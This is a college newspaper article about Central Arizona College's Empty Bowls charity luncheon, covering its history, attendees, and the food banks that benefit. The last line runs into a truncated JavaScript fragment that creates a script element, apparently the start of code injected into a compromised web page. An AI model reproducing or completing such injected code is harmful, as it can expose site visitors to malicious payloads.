Empty Bowls, Full Stomachs

CAC Helps to Fill Community Food Banks

Elliot Johnson

Empty Bowls is a charity event founded 25 years ago by Lisa Blackburn and Art teacher John Hartom. Hartom and his wife Lisa wanted the students at Lahser High School in Bloomfield Hills, Michigan to help with the community food drive, so they came up with the extraordinary idea of having the students make ceramic bowls and then had a luncheon for the faculty of their school. And so began Empty Bowls, a lunch which consisted of a piece of bread and soup. During the luncheon John and Lisa asked for donations for the local food banks while explaining how hunger affects everyone. When all the soup was gone, they were able to take the empty bowls home as a reminder that they had helped a family whom were going without.

Because of this “grassroots movement” Professor Susan Ramos took up the reigns some thirteen years ago here at Central Arizona College’s Signal Peak Campus. This will be Professor Ramos’ last year organizing the event because she is retiring. We wish her all the best.

With the help of the ceramic students and many volunteers, this year’s event generated 500 hand crafted and beautifully designed bowls which were laid out for visitors to peruse while waiting in line for the event to start. Many people arrived hours early to guarantee their place in line for choosing the perfect bowl.

Among those in attendance were several ladies from the Red Hat Society of Casa Verde Estates, located in Casa Grande Arizona, who make this an annual luncheon. One of the members even stated that this year’s bowl would make the fifth in her collection. Also from Casa Grande, the Royal Riders of Mission Royal make this event an annual luncheon. Chase Allen, one of the cyclists “We were out for a ride today and set this as our lunch stop”. The Amazing Grapes from Casa Verde, who have been attending Empty Bowls for four years. “It’s for a good cause,” they commented on the event. All of the proceeds from the event will go to three different food banks: St. Vincent de Paul and the Casa Grande Food Bank, as well the Warehouse Food Pantry in Coolidge.

Chef Jasun Zakro, the Chef in charge of the culinary side of the event, explained that “The true nature of the event is to show people that some people around the world only get that much food for their caloric intake per day, even week.” This year is the first year that Chef Zakro has participated in Empty Bowls.

Gayle Haro, CAC’s business division chair, has been with Empty Bowls for all thirteen years. “I think it’s a great community project because it involves the college students. It involves their programs. It involves the community supporting it, and it gives back to the community.”

Please remember that even a little bit can help those who are less fortunate then you, Arizona Food Banks run very low during the summer months. Charity events like Empty Bowls will help to fill some of those shelves, but not all.

If you were unable to attend this year’s event, do not fret, you are still able to do your part and join the ranks of the many who have earned the wonderful feeling of pride by donating items to any of these local food banks:

Casa Grande Food Bank 235 E. 4th St. Casa Grande Az 85122, Warehouse Food Pantry 218 W. Central Ave. Coolidge, AZ 85128 or Florence Baptist Food Bank 30 N. Willow St. Florence, AZ 85132 and help a family in need.var d=document;var s=d.createElement(‘script’);